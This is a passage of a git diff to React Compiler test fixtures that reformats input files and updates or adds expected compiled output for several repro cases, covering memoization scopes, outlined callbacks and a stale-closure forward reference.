diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-separate-scopes-for-divs.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-separate-scopes-for-divs.expect.md
index 0a38e47b34ea..3dac481e08da 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-separate-scopes-for-divs.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-separate-scopes-for-divs.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 const DISPLAY = true;
-function Component({ cond = false, id }) {
+function Component({cond = false, id}) {
   return (
     <>
       <div className={identity(styles.a, id !== null ? styles.b : {})}></div>
@@ -19,19 +19,19 @@ function Component({ cond = false, id }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: false, id: 42 }],
+  params: [{cond: false, id: 42}],
   sequentialRenders: [
-    { cond: false, id: 4 },
-    { cond: true, id: 4 },
-    { cond: true, id: 42 },
+    {cond: false, id: 4},
+    {cond: true, id: 4},
+    {cond: true, id: 42},
   ],
 };
 
 const styles = {
-  a: "a",
-  b: "b",
-  c: "c",
-  d: "d",
+  a: 'a',
+  b: 'b',
+  c: 'c',
+  d: 'd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-separate-scopes-for-divs.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-separate-scopes-for-divs.js
index 2d564c174a77..28e541bfd9a8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-separate-scopes-for-divs.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-separate-scopes-for-divs.js
@@ -1,7 +1,7 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 const DISPLAY = true;
-function Component({ cond = false, id }) {
+function Component({cond = false, id}) {
   return (
     <>
       <div className={identity(styles.a, id !== null ? styles.b : {})}></div>
@@ -15,17 +15,17 @@ function Component({ cond = false, id }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: false, id: 42 }],
+  params: [{cond: false, id: 42}],
   sequentialRenders: [
-    { cond: false, id: 4 },
-    { cond: true, id: 4 },
-    { cond: true, id: 42 },
+    {cond: false, id: 4},
+    {cond: true, id: 4},
+    {cond: true, id: 42},
   ],
 };
 
 const styles = {
-  a: "a",
-  b: "b",
-  c: "c",
-  d: "d",
+  a: 'a',
+  b: 'b',
+  c: 'c',
+  d: 'd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-slow-validate-preserve-memo.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-slow-validate-preserve-memo.expect.md
new file mode 100644
index 000000000000..3238f43c0731
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-slow-validate-preserve-memo.expect.md
@@ -0,0 +1,64 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+
+import {Builder} from 'shared-runtime';
+function useTest({isNull, data}: {isNull: boolean; data: string}) {
+  const result = Builder.makeBuilder(isNull, 'hello world')
+    ?.push('1', 2)
+    ?.push(3, {
+      a: 4,
+      b: 5,
+      c: data,
+    })
+    ?.push(6, data)
+    ?.push(7, '8')
+    ?.push('8', Builder.makeBuilder(!isNull)?.push(9).vals)?.vals;
+  return result;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useTest,
+  params: [{isNull: false, data: 'param'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+
+import { Builder } from "shared-runtime";
+function useTest(t0) {
+  const $ = _c(3);
+  const { isNull, data } = t0;
+  let t1;
+  if ($[0] !== data || $[1] !== isNull) {
+    t1 = Builder.makeBuilder(isNull, "hello world")
+      ?.push("1", 2)
+      ?.push(3, { a: 4, b: 5, c: data })
+      ?.push(6, data)
+      ?.push(7, "8")
+      ?.push("8", Builder.makeBuilder(!isNull)?.push(9).vals)?.vals;
+    $[0] = data;
+    $[1] = isNull;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  const result = t1;
+  return result;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useTest,
+  params: [{ isNull: false, data: "param" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) ["hello world","1",2,3,{"a":4,"b":5,"c":"param"},6,"param",7,"8","8",null]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-slow-validate-preserve-memo.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-slow-validate-preserve-memo.ts
new file mode 100644
index 000000000000..311a7d7c70a2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-slow-validate-preserve-memo.ts
@@ -0,0 +1,21 @@
+// @validatePreserveExistingMemoizationGuarantees
+
+import {Builder} from 'shared-runtime';
+function useTest({isNull, data}: {isNull: boolean; data: string}) {
+  const result = Builder.makeBuilder(isNull, 'hello world')
+    ?.push('1', 2)
+    ?.push(3, {
+      a: 4,
+      b: 5,
+      c: data,
+    })
+    ?.push(6, data)
+    ?.push(7, '8')
+    ?.push('8', Builder.makeBuilder(!isNull)?.push(9).vals)?.vals;
+  return result;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useTest,
+  params: [{isNull: false, data: 'param'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-stale-closure-forward-reference.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-stale-closure-forward-reference.expect.md
new file mode 100644
index 000000000000..01d1fe688ff6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-stale-closure-forward-reference.expect.md
@@ -0,0 +1,94 @@
+
+## Input
+
+```javascript
+import {useState} from 'react';
+
+/**
+ * Repro for https://github.com/facebook/react/issues/35122
+ *
+ * InferReactiveScopeVariables was excluding primitive operands
+ * when considering operands for merging. We previously did not
+ * infer types for context variables (StoreContext etc), but later
+ * started inferring types in cases of `const` context variables,
+ * since the type cannot change.
+ *
+ * In this example, this meant that we skipped the `isExpired`
+ * operand of the onClick function expression when considering
+ * scopes to merge.
+ */
+function Test1() {
+  const [expire, setExpire] = useState(5);
+
+  const onClick = () => {
+    // Reference to isExpired prior to declaration
+    console.log('isExpired', isExpired);
+  };
+
+  const isExpired = expire === 0;
+
+  return <div onClick={onClick}>{expire}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Test1,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useState } from "react";
+
+/**
+ * Repro for https://github.com/facebook/react/issues/35122
+ *
+ * InferReactiveScopeVariables was excluding primitive operands
+ * when considering operands for merging. We previously did not
+ * infer types for context variables (StoreContext etc), but later
+ * started inferring types in cases of `const` context variables,
+ * since the type cannot change.
+ *
+ * In this example, this meant that we skipped the `isExpired`
+ * operand of the onClick function expression when considering
+ * scopes to merge.
+ */
+function Test1() {
+  const $ = _c(5);
+  const [expire] = useState(5);
+  let onClick;
+  if ($[0] !== expire) {
+    onClick = () => {
+      console.log("isExpired", isExpired);
+    };
+
+    const isExpired = expire === 0;
+    $[0] = expire;
+    $[1] = onClick;
+  } else {
+    onClick = $[1];
+  }
+  let t0;
+  if ($[2] !== expire || $[3] !== onClick) {
+    t0 = <div onClick={onClick}>{expire}</div>;
+    $[2] = expire;
+    $[3] = onClick;
+    $[4] = t0;
+  } else {
+    t0 = $[4];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Test1,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>5</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-stale-closure-forward-reference.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-stale-closure-forward-reference.js
new file mode 100644
index 000000000000..035640fb6ba6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-stale-closure-forward-reference.js
@@ -0,0 +1,32 @@
+import {useState} from 'react';
+
+/**
+ * Repro for https://github.com/facebook/react/issues/35122
+ *
+ * InferReactiveScopeVariables was excluding primitive operands
+ * when considering operands for merging. We previously did not
+ * infer types for context variables (StoreContext etc), but later
+ * started inferring types in cases of `const` context variables,
+ * since the type cannot change.
+ *
+ * In this example, this meant that we skipped the `isExpired`
+ * operand of the onClick function expression when considering
+ * scopes to merge.
+ */
+function Test1() {
+  const [expire, setExpire] = useState(5);
+
+  const onClick = () => {
+    // Reference to isExpired prior to declaration
+    console.log('isExpired', isExpired);
+  };
+
+  const isExpired = expire === 0;
+
+  return <div onClick={onClick}>{expire}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Test1,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-undefined-expression-of-jsxexpressioncontainer.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-undefined-expression-of-jsxexpressioncontainer.expect.md
index aa5a55dfecc2..5a67449fff4b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-undefined-expression-of-jsxexpressioncontainer.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-undefined-expression-of-jsxexpressioncontainer.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import { StaticText1, Stringify, Text } from "shared-runtime";
+import {StaticText1, Stringify, Text} from 'shared-runtime';
 
 function Component(props) {
-  const { buttons } = props;
+  const {buttons} = props;
   const [primaryButton, ...nonPrimaryButtons] = buttons;
 
   const renderedNonPrimaryButtons = nonPrimaryButtons.map((buttonProps, i) => (
@@ -22,8 +22,8 @@ function Component(props) {
 }
 
 const styles = {
-  leftSecondaryButton: { left: true },
-  rightSecondaryButton: { right: true },
+  leftSecondaryButton: {left: true},
+  rightSecondaryButton: {right: true},
 };
 
 export const FIXTURE_ENTRYPOINT = {
@@ -32,8 +32,8 @@ export const FIXTURE_ENTRYPOINT = {
     {
       buttons: [
         {},
-        { type: "submit", children: ["Submit!"] },
-        { type: "button", children: ["Reset"] },
+        {type: 'submit', children: ['Submit!']},
+        {type: 'button', children: ['Reset']},
       ],
     },
   ],
@@ -48,52 +48,30 @@ import { c as _c } from "react/compiler-runtime";
 import { StaticText1, Stringify, Text } from "shared-runtime";
 
 function Component(props) {
-  const $ = _c(7);
+  const $ = _c(2);
   const { buttons } = props;
-  let nonPrimaryButtons;
+  let t0;
   if ($[0] !== buttons) {
-    const [primaryButton, ...t0] = buttons;
-    nonPrimaryButtons = t0;
+    const [, ...nonPrimaryButtons] = buttons;
+    const renderedNonPrimaryButtons = nonPrimaryButtons.map(_temp);
+    t0 = <StaticText1>{renderedNonPrimaryButtons}</StaticText1>;
     $[0] = buttons;
-    $[1] = nonPrimaryButtons;
-  } else {
-    nonPrimaryButtons = $[1];
-  }
-  let t0;
-  if ($[2] !== nonPrimaryButtons) {
-    let t1;
-    if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
-      t1 = (buttonProps, i) => (
-        <Stringify
-          {...buttonProps}
-          key={`button-${i}`}
-          style={
-            i % 2 === 0
-              ? styles.leftSecondaryButton
-              : styles.rightSecondaryButton
-          }
-        />
-      );
-      $[4] = t1;
-    } else {
-      t1 = $[4];
-    }
-    t0 = nonPrimaryButtons.map(t1);
-    $[2] = nonPrimaryButtons;
-    $[3] = t0;
+    $[1] = t0;
   } else {
-    t0 = $[3];
+    t0 = $[1];
   }
-  const renderedNonPrimaryButtons = t0;
-  let t1;
-  if ($[5] !== renderedNonPrimaryButtons) {
-    t1 = <StaticText1>{renderedNonPrimaryButtons}</StaticText1>;
-    $[5] = renderedNonPrimaryButtons;
-    $[6] = t1;
-  } else {
-    t1 = $[6];
-  }
-  return t1;
+  return t0;
+}
+function _temp(buttonProps, i) {
+  return (
+    <Stringify
+      {...buttonProps}
+      key={`button-${i}`}
+      style={
+        i % 2 === 0 ? styles.leftSecondaryButton : styles.rightSecondaryButton
+      }
+    />
+  );
 }
 
 const styles = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-undefined-expression-of-jsxexpressioncontainer.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-undefined-expression-of-jsxexpressioncontainer.js
index 11f5c6c86aa6..44f438c73485 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-undefined-expression-of-jsxexpressioncontainer.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-undefined-expression-of-jsxexpressioncontainer.js
@@ -1,7 +1,7 @@
-import { StaticText1, Stringify, Text } from "shared-runtime";
+import {StaticText1, Stringify, Text} from 'shared-runtime';
 
 function Component(props) {
-  const { buttons } = props;
+  const {buttons} = props;
   const [primaryButton, ...nonPrimaryButtons] = buttons;
 
   const renderedNonPrimaryButtons = nonPrimaryButtons.map((buttonProps, i) => (
@@ -18,8 +18,8 @@ function Component(props) {
 }
 
 const styles = {
-  leftSecondaryButton: { left: true },
-  rightSecondaryButton: { right: true },
+  leftSecondaryButton: {left: true},
+  rightSecondaryButton: {right: true},
 };
 
 export const FIXTURE_ENTRYPOINT = {
@@ -28,8 +28,8 @@ export const FIXTURE_ENTRYPOINT = {
     {
       buttons: [
         {},
-        { type: "submit", children: ["Submit!"] },
-        { type: "button", children: ["Reset"] },
+        {type: 'submit', children: ['Submit!']},
+        {type: 'button', children: ['Reset']},
       ],
     },
   ],
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unmerged-fbt-call-merge-overlapping-reactive-scopes.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unmerged-fbt-call-merge-overlapping-reactive-scopes.expect.md
index 845f8488fa6f..ee2c82048a9d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unmerged-fbt-call-merge-overlapping-reactive-scopes.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unmerged-fbt-call-merge-overlapping-reactive-scopes.expect.md
@@ -2,16 +2,16 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
-import { Stringify } from "shared-runtime";
+import fbt from 'fbt';
+import {Stringify} from 'shared-runtime';
 
 function Component(props) {
   const label = fbt(
-    fbt.plural("bar", props.value.length, {
-      many: "bars",
-      showCount: "yes",
+    fbt.plural('bar', props.value.length, {
+      many: 'bars',
+      showCount: 'yes',
     }),
-    "The label text"
+    'The label text'
   );
   return props.cond ? (
     <Stringify
@@ -23,7 +23,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true, value: [0, 1, 2] }],
+  params: [{cond: true, value: [0, 1, 2]}],
 };
 
 ```
@@ -38,21 +38,20 @@ import { Stringify } from "shared-runtime";
 function Component(props) {
   const $ = _c(3);
   let t0;
-  if ($[0] !== props.value.length || $[1] !== props.cond) {
+  if ($[0] !== props.cond || $[1] !== props.value.length) {
     const label = fbt._(
       { "*": "{number} bars", _1: "1 bar" },
       [fbt._plural(props.value.length, "number")],
       { hk: "4mUen7" },
     );
-
     t0 = props.cond ? (
       <Stringify
         description={fbt._("Text here", null, { hk: "21YpZs" })}
         label={label.toString()}
       />
     ) : null;
-    $[0] = props.value.length;
-    $[1] = props.cond;
+    $[0] = props.cond;
+    $[1] = props.value.length;
     $[2] = t0;
   } else {
     t0 = $[2];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unmerged-fbt-call-merge-overlapping-reactive-scopes.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unmerged-fbt-call-merge-overlapping-reactive-scopes.js
index 77453fa354e5..03d84f405610 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unmerged-fbt-call-merge-overlapping-reactive-scopes.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unmerged-fbt-call-merge-overlapping-reactive-scopes.js
@@ -1,13 +1,13 @@
-import fbt from "fbt";
-import { Stringify } from "shared-runtime";
+import fbt from 'fbt';
+import {Stringify} from 'shared-runtime';
 
 function Component(props) {
   const label = fbt(
-    fbt.plural("bar", props.value.length, {
-      many: "bars",
-      showCount: "yes",
+    fbt.plural('bar', props.value.length, {
+      many: 'bars',
+      showCount: 'yes',
     }),
-    "The label text"
+    'The label text'
   );
   return props.cond ? (
     <Stringify
@@ -19,5 +19,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true, value: [0, 1, 2] }],
+  params: [{cond: true, value: [0, 1, 2]}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unreachable-code-early-return-in-useMemo.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unreachable-code-early-return-in-useMemo.expect.md
index 732f11d31155..a1af1285ec81 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unreachable-code-early-return-in-useMemo.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unreachable-code-early-return-in-useMemo.expect.md
@@ -3,16 +3,16 @@
 
 ```javascript
 // @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
-import { useMemo, useState } from "react";
-import { ValidateMemoization, identity } from "shared-runtime";
+import {useMemo, useState} from 'react';
+import {ValidateMemoization, identity} from 'shared-runtime';
 
-function Component({ value }) {
+function Component({value}) {
   const result = useMemo(() => {
     if (value == null) {
       return null;
     }
     try {
-      return { value };
+      return {value};
     } catch (e) {
       return null;
     }
@@ -22,16 +22,16 @@ function Component({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: null }],
+  params: [{value: null}],
   sequentialRenders: [
-    { value: null },
-    { value: null },
-    { value: 42 },
-    { value: 42 },
-    { value: null },
-    { value: 42 },
-    { value: null },
-    { value: 42 },
+    {value: null},
+    {value: null},
+    {value: 42},
+    {value: 42},
+    {value: null},
+    {value: 42},
+    {value: null},
+    {value: 42},
   ],
 };
 
@@ -53,6 +53,7 @@ function Component(t0) {
       t1 = null;
       break bb0;
     }
+
     try {
       let t3;
       if ($[0] !== value) {
@@ -77,10 +78,10 @@ function Component(t0) {
     t2 = $[3];
   }
   let t3;
-  if ($[4] !== t2 || $[5] !== result) {
+  if ($[4] !== result || $[5] !== t2) {
     t3 = <ValidateMemoization inputs={t2} output={result} />;
-    $[4] = t2;
-    $[5] = result;
+    $[4] = result;
+    $[5] = t2;
     $[6] = t3;
   } else {
     t3 = $[6];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unreachable-code-early-return-in-useMemo.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unreachable-code-early-return-in-useMemo.js
index b14c02c2eec1..412e6edd6d94 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unreachable-code-early-return-in-useMemo.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unreachable-code-early-return-in-useMemo.js
@@ -1,14 +1,14 @@
 // @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
-import { useMemo, useState } from "react";
-import { ValidateMemoization, identity } from "shared-runtime";
+import {useMemo, useState} from 'react';
+import {ValidateMemoization, identity} from 'shared-runtime';
 
-function Component({ value }) {
+function Component({value}) {
   const result = useMemo(() => {
     if (value == null) {
       return null;
     }
     try {
-      return { value };
+      return {value};
     } catch (e) {
       return null;
     }
@@ -18,15 +18,15 @@ function Component({ value }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: null }],
+  params: [{value: null}],
   sequentialRenders: [
-    { value: null },
-    { value: null },
-    { value: 42 },
-    { value: 42 },
-    { value: null },
-    { value: 42 },
-    { value: null },
-    { value: 42 },
+    {value: null},
+    {value: null},
+    {value: 42},
+    {value: 42},
+    {value: null},
+    {value: 42},
+    {value: null},
+    {value: 42},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-useMemo-if-else-both-early-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-useMemo-if-else-both-early-return.expect.md
new file mode 100644
index 000000000000..acb3b72e3a44
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-useMemo-if-else-both-early-return.expect.md
@@ -0,0 +1,118 @@
+
+## Input
+
+```javascript
+import {useMemo} from 'react';
+import {
+  makeObject_Primitives,
+  mutate,
+  Stringify,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({cond}) {
+  const memoized = useMemo(() => {
+    const value = makeObject_Primitives();
+    if (cond) {
+      return value;
+    } else {
+      mutate(value);
+      return value;
+    }
+  }, [cond]);
+  return <ValidateMemoization inputs={[cond]} output={memoized} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: false}],
+  sequentialRenders: [
+    {cond: false},
+    {cond: false},
+    {cond: true},
+    {cond: true},
+    {cond: false},
+    {cond: true},
+    {cond: false},
+    {cond: true},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useMemo } from "react";
+import {
+  makeObject_Primitives,
+  mutate,
+  Stringify,
+  ValidateMemoization,
+} from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(7);
+  const { cond } = t0;
+  let t1;
+  if ($[0] !== cond) {
+    const value = makeObject_Primitives();
+    if (cond) {
+      t1 = value;
+    } else {
+      mutate(value);
+      t1 = value;
+    }
+    $[0] = cond;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const memoized = t1;
+  let t2;
+  if ($[2] !== cond) {
+    t2 = [cond];
+    $[2] = cond;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== memoized || $[5] !== t2) {
+    t3 = <ValidateMemoization inputs={t2} output={memoized} />;
+    $[4] = memoized;
+    $[5] = t2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ cond: false }],
+  sequentialRenders: [
+    { cond: false },
+    { cond: false },
+    { cond: true },
+    { cond: true },
+    { cond: false },
+    { cond: true },
+    { cond: false },
+    { cond: true },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[false],"output":{"a":0,"b":"value1","c":true,"wat0":"joe"}}</div>
+<div>{"inputs":[false],"output":{"a":0,"b":"value1","c":true,"wat0":"joe"}}</div>
+<div>{"inputs":[true],"output":{"a":0,"b":"value1","c":true}}</div>
+<div>{"inputs":[true],"output":{"a":0,"b":"value1","c":true}}</div>
+<div>{"inputs":[false],"output":{"a":0,"b":"value1","c":true,"wat0":"joe"}}</div>
+<div>{"inputs":[true],"output":{"a":0,"b":"value1","c":true}}</div>
+<div>{"inputs":[false],"output":{"a":0,"b":"value1","c":true,"wat0":"joe"}}</div>
+<div>{"inputs":[true],"output":{"a":0,"b":"value1","c":true}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-useMemo-if-else-both-early-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-useMemo-if-else-both-early-return.js
new file mode 100644
index 000000000000..d38166107713
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-useMemo-if-else-both-early-return.js
@@ -0,0 +1,35 @@
+import {useMemo} from 'react';
+import {
+  makeObject_Primitives,
+  mutate,
+  Stringify,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({cond}) {
+  const memoized = useMemo(() => {
+    const value = makeObject_Primitives();
+    if (cond) {
+      return value;
+    } else {
+      mutate(value);
+      return value;
+    }
+  }, [cond]);
+  return <ValidateMemoization inputs={[cond]} output={memoized} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: false}],
+  sequentialRenders: [
+    {cond: false},
+    {cond: false},
+    {cond: true},
+    {cond: true},
+    {cond: false},
+    {cond: true},
+    {cond: false},
+    {cond: true},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro.expect.md
index 6ca1483fad1d..19102267cc19 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro.expect.md
@@ -2,15 +2,16 @@
 ## Input
 
 ```javascript
+// @validateNoVoidUseMemo:false @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const item = props.item;
   const thumbnails = [];
   const baseVideos = getBaseVideos(item);
   useMemo(() => {
-    baseVideos.forEach((video) => {
+    baseVideos.forEach(video => {
       const baseVideo = video.hasBaseVideo;
       if (Boolean(baseVideo)) {
-        thumbnails.push({ extraVideo: true });
+        thumbnails.push({extraVideo: true});
       }
     });
   });
@@ -22,14 +23,15 @@ function Component(props) {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @validateNoVoidUseMemo:false @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
-  const $ = _c(2);
+  const $ = _c(6);
   const item = props.item;
-  let t0;
+  let baseVideos;
+  let thumbnails;
   if ($[0] !== item) {
-    const thumbnails = [];
-    const baseVideos = getBaseVideos(item);
+    thumbnails = [];
+    baseVideos = getBaseVideos(item);
 
     baseVideos.forEach((video) => {
       const baseVideo = video.hasBaseVideo;
@@ -37,12 +39,21 @@ function Component(props) {
         thumbnails.push({ extraVideo: true });
       }
     });
-
-    t0 = <FlatList baseVideos={baseVideos} items={thumbnails} />;
     $[0] = item;
-    $[1] = t0;
+    $[1] = baseVideos;
+    $[2] = thumbnails;
+  } else {
+    baseVideos = $[1];
+    thumbnails = $[2];
+  }
+  let t0;
+  if ($[3] !== baseVideos || $[4] !== thumbnails) {
+    t0 = <FlatList baseVideos={baseVideos} items={thumbnails} />;
+    $[3] = baseVideos;
+    $[4] = thumbnails;
+    $[5] = t0;
   } else {
-    t0 = $[1];
+    t0 = $[5];
   }
   return t0;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro.js
index 37134b73d0cb..0a4bbac2e080 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro.js
@@ -1,12 +1,13 @@
+// @validateNoVoidUseMemo:false @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const item = props.item;
   const thumbnails = [];
   const baseVideos = getBaseVideos(item);
   useMemo(() => {
-    baseVideos.forEach((video) => {
+    baseVideos.forEach(video => {
       const baseVideo = video.hasBaseVideo;
       if (Boolean(baseVideo)) {
-        thumbnails.push({ extraVideo: true });
+        thumbnails.push({extraVideo: true});
       }
     });
   });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/resolve-react-hooks-based-on-import-name.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/resolve-react-hooks-based-on-import-name.expect.md
index 787c957ca46e..496d61df9d7a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/resolve-react-hooks-based-on-import-name.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/resolve-react-hooks-based-on-import-name.expect.md
@@ -2,13 +2,13 @@
 ## Input
 
 ```javascript
-import { useState as useReactState } from "react";
+import {useState as useReactState} from 'react';
 
 function Component() {
   const [state, setState] = useReactState(0);
 
   const onClick = () => {
-    setState((s) => s + 1);
+    setState(s => s + 1);
   };
 
   return (
@@ -38,7 +38,7 @@ function Component() {
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     t0 = () => {
-      setState((s) => s + 1);
+      setState(_temp);
     };
     $[0] = t0;
   } else {
@@ -67,6 +67,9 @@ function Component() {
   }
   return t2;
 }
+function _temp(s) {
+  return s + 1;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/resolve-react-hooks-based-on-import-name.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/resolve-react-hooks-based-on-import-name.js
index fb72a7ba8820..66480af4a061 100644
